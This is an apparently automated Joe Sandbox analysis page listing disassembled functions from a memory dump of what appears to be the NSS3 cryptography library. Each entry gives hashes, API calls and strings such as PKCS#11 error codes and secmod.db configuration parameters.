Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Alloc_ArenaUtil
String ID:
API String ID: 2062749931-0
Opcode ID: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction ID: a2240c97195ebd77ee1dbd4adf08b2effd94bcb57c9a4cb8e529b63f36b4b252
Opcode Fuzzy Hash: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction Fuzzy Hash: 9871F372E117018FD718CF5AC88076AB7F2BF88304F54462DD85697B91EB79E920CB94

Function 6CB85F30 Relevance: 1.6, APIs: 1, Instructions: 350stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00000000), ref: 6CB86013

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: strcmp
String ID:
API String ID: 1004003707-0
Opcode ID: de501c605139ffb913588488c3f999801f905ba791fa3f33d96ee01dac58b145
Instruction ID: 916fa2e2794dce2f45f418ec5403ed8649e2d2a5e34178e924546fa59d9a3bc5
Opcode Fuzzy Hash: de501c605139ffb913588488c3f999801f905ba791fa3f33d96ee01dac58b145
Instruction Fuzzy Hash: D2C138B0B162C68BEF04CF19C4907AAB7B6EF45318F248158D996DBB42D730E845C796

Function 6CB94DB0 Relevance: 1.6, Strings: 1, Instructions: 318COMMON

Download Yara Rule

Strings

winUnlockReadLock, xrefs: 6CB95125

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID:
String ID: winUnlockReadLock
API String ID: 0-4244601998
Opcode ID: 4fedef85fa430447d915355f1760e1e718313f15ecf031f3e660d0017e6eefd0
Instruction ID: 95c6a2946e46ba7e6e32f16743d99561642de286582923ef69e61bf58b5cfcde
Opcode Fuzzy Hash: 4fedef85fa430447d915355f1760e1e718313f15ecf031f3e660d0017e6eefd0
Instruction Fuzzy Hash: 37E15C70A083418FEB04EF29D48465ABBF4FF8A305F518A2DE99997750E734D985CF82

Function 6CCD0CD0 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

sqlite3_bind_zeroblob.NSS3(?,?,?), ref: 6CCD0D3B

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: sqlite3_bind_zeroblob
String ID:
API String ID: 1352825944-0
Opcode ID: 7fa50d246811b8f97440a99d8a455ed8baa41e8ffd5e7cca1518839e8c85e9f8
Instruction ID: d3d56d20a442e5b80d9f2f5d037d1de15af9684f377534f3c45528d579f18d16
Opcode Fuzzy Hash: 7fa50d246811b8f97440a99d8a455ed8baa41e8ffd5e7cca1518839e8c85e9f8
Instruction Fuzzy Hash: C401C4357010549BE704DE69E884A6A7379FB85768B25416EEA1847700EB31FC12C7A2

Function 6CCCBFA0 Relevance: 1.5, APIs: 1, Instructions: 217COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?), ref: 6CCCBFC2

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 01110a8685dd3fa833ff030c85aa0219d1b1c77cc0f62bace54ab590f9668618
Instruction ID: 465aae5b6809084c6010587e65d930112fcdd4737ca1a3c465edd157f5eeb825
Opcode Fuzzy Hash: 01110a8685dd3fa833ff030c85aa0219d1b1c77cc0f62bace54ab590f9668618
Instruction Fuzzy Hash: A671B91C3093E04AD3274BB9A0E02AAFFE2EE8B154B9D56ADD1EBCE107C0955047D7A5

Function 6CD15E60 Relevance: 1.4, APIs: 1, Instructions: 163COMMON

Download Yara Rule

APIs

Part of subcall function 6CD15B90: PR_Lock.NSS3(00010000,?,00000000,?,6CBFDF9B), ref: 6CD15B9E
Part of subcall function 6CD15B90: PR_Unlock.NSS3 ref: 6CD15BEA

memset.VCRUNTIME140(00000014,00000000,-000000D7,?,?,?,?,?,?,?,?,6CD15E23,6CBFE154), ref: 6CD15EBF

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: LockUnlockmemset
String ID:
API String ID: 1725470033-0
Opcode ID: 765870e01ac74a1a285e53e67be40ac57547b096a3347e8632765bb24f41ae14
Instruction ID: a69cf5e9c264e35512715f0afbe93e0f159bd07833dc5ce2019570285f5a5a95
Opcode Fuzzy Hash: 765870e01ac74a1a285e53e67be40ac57547b096a3347e8632765bb24f41ae14
Instruction Fuzzy Hash: 5E518BB2E0021A8FDB18CF59C8816AEF3F2FF88314B19456DD815B7755E734A941CBA0

Function 6CCCDCD0 Relevance: .4, Instructions: 371COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dfc81ceb941ce032b60440a1c5c739e87f4a0def0b69eb80c3c8685fc89d56aa
Instruction ID: f401ae8fe7898920ebe3f14474ae5b1111c5fd6d9dfb2eade42452b10b949100
Opcode Fuzzy Hash: dfc81ceb941ce032b60440a1c5c739e87f4a0def0b69eb80c3c8685fc89d56aa
Instruction Fuzzy Hash: BFF14B71B012058FDB08CF19D490BAA77B2BF89318F29416CD8199B751EB35ED42CBE2

Function 6CC61DC0 Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5cf8dc963f7f79db549299581b4ae9ef430c02c880e9910e3ec163e0518b33a5
Instruction ID: c808b744097cb81a3265d82b60619cb8f700bbeb18350020ada78e692d85969c
Opcode Fuzzy Hash: 5cf8dc963f7f79db549299581b4ae9ef430c02c880e9910e3ec163e0518b33a5
Instruction Fuzzy Hash: C2D15632A086568BDB018E1EC9D83DA7763AB85329F1D4329CC645BBC2E37BD905C3D0

Function 6CBF8EA0 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b81a53109a90e6774459e0d253398687f0411d699170bf5e0ba311e8388b426c
Instruction ID: 08cd9480299552aaffd270f3897e1838becc52b892c6128aaa2df6520134c34c
Opcode Fuzzy Hash: b81a53109a90e6774459e0d253398687f0411d699170bf5e0ba311e8388b426c
Instruction Fuzzy Hash: 3F119032A052558FEB04DF1AD88475AB3A5FF43318F04466AD9258FB41C776D88AC7D2

Function 6CCD0C40 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf3bf428de4a577d5c8d70c385fd5f83103e52e2b06996c1b869ef0288bf682a
Instruction ID: 634f795537cb9d3a25803154782f06d21eb9e57dcca1f77009faa840c112bc99
Opcode Fuzzy Hash: bf3bf428de4a577d5c8d70c385fd5f83103e52e2b06996c1b869ef0288bf682a
Instruction Fuzzy Hash: E911CE74B043458FDB00DF2DD88066A7BA6FFC5368F14806DD9198B701EB71E806CBA2

Function 6CC43FF0 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$Error
String ID:
API String ID: 2275178025-0
Opcode ID: e1ecd6cf30f572329911fa410fbd6aec1d3eb0d69b2588c0c6724a981f70e23b
Instruction ID: 8976743c794077c6af32f6c0fafb90377108a8e1cbc46c171df328145f9911af
Opcode Fuzzy Hash: e1ecd6cf30f572329911fa410fbd6aec1d3eb0d69b2588c0c6724a981f70e23b
Instruction Fuzzy Hash: 88F05E70A04B598BDB14DF68C45159AB7F8EF49254F109619ED89AB301EB30EAC4C7C1

Function 6CCD0D60 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction ID: 3dc94bf9e5723d2fda5e13b37fc748a79e44e770734c03b94b8a10b10101887a
Opcode Fuzzy Hash: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction Fuzzy Hash: F5E06D3A202454A7DB148E0DD450AA97359EF81619FB680BACE599BA01E733F803C781

Function 6CBFCC60 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f1b9d71997814a736b998340ef54f58f031857388dd818097446c0d5e15287f
Instruction ID: af83a984550e829577645f4f253a17204c89da201f98b70c4ab663de07d7f2fe
Opcode Fuzzy Hash: 3f1b9d71997814a736b998340ef54f58f031857388dd818097446c0d5e15287f
Instruction Fuzzy Hash: 9AC04838248608CFC704DE09E4999A43BA8AB0AA10B040094EA428B721DA21F800CA90

Function 6CC31D60 Relevance: 84.2, APIs: 1, Strings: 47, Instructions: 210COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3( rv = %s,CKR_FUNCTION_REJECTED,?,6CC31D46), ref: 6CC32345

Strings

CKR_WRAPPING_KEY_HANDLE_INVALID, xrefs: 6CC32320
CKR_PIN_LOCKED, xrefs: 6CC32075
rv = 0x%x, xrefs: 6CC32312
CKR_PIN_INCORRECT, xrefs: 6CC31D92
CKR_TEMPLATE_INCONSISTENT, xrefs: 6CC31EE1
CKR_PIN_INVALID, xrefs: 6CC32057
CKR_OK, xrefs: 6CC31DFC
CKR_WRAPPED_KEY_INVALID, xrefs: 6CC31FB5
CKR_ENCRYPTED_DATA_INVALID, xrefs: 6CC3226B
CKR_RANDOM_NO_RNG, xrefs: 6CC322A7
CKR_CRYPTOKI_NOT_INITIALIZED, xrefs: 6CC32275
CKR_DOMAIN_PARAMS_INVALID, xrefs: 6CC32015
CKR_STATE_UNSAVEABLE, xrefs: 6CC32037
CKR_NEXT_OTP, xrefs: 6CC3222F
CKR_ENCRYPTED_DATA_LEN_RANGE, xrefs: 6CC31F0F
CKR_OPERATION_CANCEL_FAILED, xrefs: 6CC31F77
CKR_WRAPPING_KEY_SIZE_RANGE, xrefs: 6CC32327
CKR_WRAPPED_KEY_LEN_RANGE, xrefs: 6CC32319
CKR_NEW_PIN_MODE, xrefs: 6CC31E9F
CKR_FUNCTION_NOT_PARALLEL, xrefs: 6CC3218D
CKR_TOKEN_NOT_RECOGNIZED, xrefs: 6CC31F8B
CKR_WRAPPING_KEY_TYPE_INCONSISTENT, xrefs: 6CC3232E
CKR_TOKEN_NOT_PRESENT, xrefs: 6CC31F81
CKR_FUNCTION_CANCELED, xrefs: 6CC31E73
CKR_DEVICE_ERROR, xrefs: 6CC3229D
CKR_MUTEX_NOT_LOCKED, xrefs: 6CC32225
CKR_FUNCTION_REJECTED, xrefs: 6CC32289
CKR_BUFFER_TOO_SMALL, xrefs: 6CC32183
CKR_CURVE_NOT_SUPPORTED, xrefs: 6CC32179
CKR_SIGNATURE_LEN_RANGE, xrefs: 6CC320D9
CKR_TOKEN_RESOURCE_EXCEEDED, xrefs: 6CC32293, 6CC3233F
CKR_INFORMATION_SENSITIVE, xrefs: 6CC322B1
CKR_CRYPTOKI_ALREADY_INITIALIZED, xrefs: 6CC3227F
CKR_PIN_EXPIRED, xrefs: 6CC3206B
CKR_DEVICE_MEMORY, xrefs: 6CC31FF3
CKR_MUTEX_BAD, xrefs: 6CC31F49
CKR_OBJECT_HANDLE_INVALID, xrefs: 6CC3204D
CKR_OPERATION_NOT_INITIALIZED, xrefs: 6CC31FD7
CKR_OPERATION_ACTIVE, xrefs: 6CC322B8
CKR_TEMPLATE_INCOMPLETE, xrefs: 6CC31F95
CKR_SIGNATURE_INVALID, xrefs: 6CC320CF
CKR_PIN_LEN_RANGE, xrefs: 6CC32061
CKR_TOKEN_WRITE_PROTECTED, xrefs: 6CC31DE0
CKR_DEVICE_REMOVED, xrefs: 6CC32261
rv = %s, xrefs: 6CC32340
CKR_SAVED_STATE_INVALID, xrefs: 6CC31E56
CKR_RANDOM_SEED_NOT_SUPPORTED, xrefs: 6CC322FF

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Print
String ID: rv = %s$ rv = 0x%x$CKR_BUFFER_TOO_SMALL$CKR_CRYPTOKI_ALREADY_INITIALIZED$CKR_CRYPTOKI_NOT_INITIALIZED$CKR_CURVE_NOT_SUPPORTED$CKR_DEVICE_ERROR$CKR_DEVICE_MEMORY$CKR_DEVICE_REMOVED$CKR_DOMAIN_PARAMS_INVALID$CKR_ENCRYPTED_DATA_INVALID$CKR_ENCRYPTED_DATA_LEN_RANGE$CKR_FUNCTION_CANCELED$CKR_FUNCTION_NOT_PARALLEL$CKR_FUNCTION_REJECTED$CKR_INFORMATION_SENSITIVE$CKR_MUTEX_BAD$CKR_MUTEX_NOT_LOCKED$CKR_NEW_PIN_MODE$CKR_NEXT_OTP$CKR_OBJECT_HANDLE_INVALID$CKR_OK$CKR_OPERATION_ACTIVE$CKR_OPERATION_CANCEL_FAILED$CKR_OPERATION_NOT_INITIALIZED$CKR_PIN_EXPIRED$CKR_PIN_INCORRECT$CKR_PIN_INVALID$CKR_PIN_LEN_RANGE$CKR_PIN_LOCKED$CKR_RANDOM_NO_RNG$CKR_RANDOM_SEED_NOT_SUPPORTED$CKR_SAVED_STATE_INVALID$CKR_SIGNATURE_INVALID$CKR_SIGNATURE_LEN_RANGE$CKR_STATE_UNSAVEABLE$CKR_TEMPLATE_INCOMPLETE$CKR_TEMPLATE_INCONSISTENT$CKR_TOKEN_NOT_PRESENT$CKR_TOKEN_NOT_RECOGNIZED$CKR_TOKEN_RESOURCE_EXCEEDED$CKR_TOKEN_WRITE_PROTECTED$CKR_WRAPPED_KEY_INVALID$CKR_WRAPPED_KEY_LEN_RANGE$CKR_WRAPPING_KEY_HANDLE_INVALID$CKR_WRAPPING_KEY_SIZE_RANGE$CKR_WRAPPING_KEY_TYPE_INCONSISTENT
API String ID: 3558298466-1980531169
Opcode ID: 5c63c882705c2deeae8927957cface5df36d8d9fc80bd589ca15f79f6fe1881c
Instruction ID: 523e65a22291183c64d0fccf17e0440d1b1f148f8cc48862a108ed7c07c52d2c
Opcode Fuzzy Hash: 5c63c882705c2deeae8927957cface5df36d8d9fc80bd589ca15f79f6fe1881c
Instruction Fuzzy Hash: EB61F23068D064C6EE5C464EB5BD36C6128B706314F68E137E78E8DFA3F295CA8546D3

Function 6CC65DE0 Relevance: 63.3, APIs: 27, Strings: 9, Instructions: 272COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?), ref: 6CC65E08
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6CC65E3F
PL_strncasecmp.NSS3(00000000,readOnly,00000008), ref: 6CC65E5C
free.MOZGLUE(00000000), ref: 6CC65E7E
free.MOZGLUE(00000000), ref: 6CC65E97
PORT_Strdup_Util.NSS3(secmod.db), ref: 6CC65EA5
_NSSUTIL_EvaluateConfigDir.NSS3(00000000,?,?), ref: 6CC65EBB
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6CC65ECB
PL_strncasecmp.NSS3(00000000,noModDB,00000007), ref: 6CC65EF0
free.MOZGLUE(00000000), ref: 6CC65F12
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6CC65F35
PL_strncasecmp.NSS3(00000000,forceSecmodChoice,00000011), ref: 6CC65F5B
free.MOZGLUE(00000000), ref: 6CC65F82
PL_strncasecmp.NSS3(?,configDir=,0000000A), ref: 6CC65FA3
PL_strncasecmp.NSS3(?,secmod=,00000007), ref: 6CC65FB7
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6CC65FC4
free.MOZGLUE(00000000), ref: 6CC65FDB
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6CC65FE9
free.MOZGLUE(00000000), ref: 6CC65FFE
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6CC6600C
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CC66027
PR_smprintf.NSS3(%s/%s,?,00000000), ref: 6CC6605A
PR_smprintf.NSS3(6CD3AAF9,00000000), ref: 6CC6606A
free.MOZGLUE(00000000), ref: 6CC6607C
free.MOZGLUE(00000000), ref: 6CC6609A
free.MOZGLUE(00000000), ref: 6CC660B2
free.MOZGLUE(?), ref: 6CC660CE

Strings

secmod.db, xrefs: 6CC65EA0
configDir=, xrefs: 6CC65F9D
readOnly, xrefs: 6CC65E56
forceSecmodChoice, xrefs: 6CC65F55
secmod=, xrefs: 6CC65FB1
noModDB, xrefs: 6CC65EEA
flags, xrefs: 6CC65E3A, 6CC65EC6, 6CC65F30
%s/%s, xrefs: 6CC66055
pkcs11.txt, xrefs: 6CC65F47, 6CC65F7C, 6CC6603A, 6CC66053

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: free$L_strncasecmpValue$Param$FetchR_smprintfisspace$ConfigEvaluateParameterSkipStrdup_Util
String ID: %s/%s$configDir=$flags$forceSecmodChoice$noModDB$pkcs11.txt$readOnly$secmod.db$secmod=
API String ID: 1427204090-154007103
Opcode ID: 5cbe00ca21c4230512c65852e8797396972c9445a0e589f40edbaabaf1a7f507
Instruction ID: d18d24d9695449d688b7e9e7c7bc5b2b4827b8feb91df02b4e00b2c40302d308
Opcode Fuzzy Hash: 5cbe00ca21c4230512c65852e8797396972c9445a0e589f40edbaabaf1a7f507
Instruction Fuzzy Hash: D191D5F4A042515BEF018F269DC1BAB3BA8AF0624CF280061ED59DBF42F735D915C7A2

Function 6CBF1D90 Relevance: 45.7, APIs: 16, Strings: 10, Instructions: 182filestringCOMMON

Download Yara Rule

APIs

PR_NewLock.NSS3 ref: 6CBF1DA3

Part of subcall function 6CCC98D0: calloc.MOZGLUE(00000001,00000084,6CBF0936,00000001,?,6CBF102C), ref: 6CCC98E5

PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES), ref: 6CBF1DB2

Part of subcall function 6CBF1240: TlsGetValue.KERNEL32(00000040,?,6CBF116C,NSPR_LOG_MODULES), ref: 6CBF1267
Part of subcall function 6CBF1240: EnterCriticalSection.KERNEL32(?,?,?,6CBF116C,NSPR_LOG_MODULES), ref: 6CBF127C
